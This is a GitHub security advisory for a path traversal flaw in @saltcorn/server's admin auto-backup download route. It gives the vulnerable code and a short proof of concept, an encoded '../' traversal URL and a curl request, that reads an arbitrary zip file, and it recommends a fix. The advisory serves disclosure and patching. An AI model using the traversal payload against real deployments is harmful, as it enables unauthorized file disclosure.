GitHub Advisoryadvisory · npm
GHSA-277h-px4m-62q8 @saltcorn/server arbitrary file zip read and download when downloading auto backups
MEDIUM
Official page ↗
- Ecosystem
- npm
- Packages
- @saltcorn/server
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2024-10-03
Affected packages
• npm @saltcorn/server: < 1.0.0-beta.14 → fixed in 1.0.0-beta.14
Description
Summary
A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API.
Details
• file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682
```js
router.get(
"/auto-backup-download/:filename",
isAdmin,
error_catcher(async (req, res) => {
const { filename } = req.params; // [1] source
[...]
if (
!isRoot ||
!(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
) {
res.redirect("/admin/backup");
return;
}
const auto_backup_directory = getState().getConfig("auto_backup_directory");
res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
})
);
```
Steps to reproduce (PoC)
• create a file with `.zip` extension under `/tmp` folder:
```
echo "secret12345" > /tmp/secret.zip
```
• log into the application as an admin user
• visit the url `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip`
• download the zip file and then check if the zip was indeed downloaded:
```bash
cat secret.zip
secret12345
```
• Alternatively send the following request to retrieve the file just created.
```bash
curl -i -X $'GET' \
-H $'Host: localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
$'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'
```
NOTE:
To obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value.
Impact
Arbitrary zip files download (information disclosure).
Recommended Mitigation
Resolve the `filename` parameter before checking if it starts with `backup_file_prefix` .
Related
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/saltcorn/saltcorn/security/advisories/GHSA-277h-px4m-62q8 web
- https://github.com/saltcorn/saltcorn/commit/024f19a7e079913f62f4a2335ab04116ddb68192 web
- https://github.com/saltcorn/saltcorn package
- https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682 web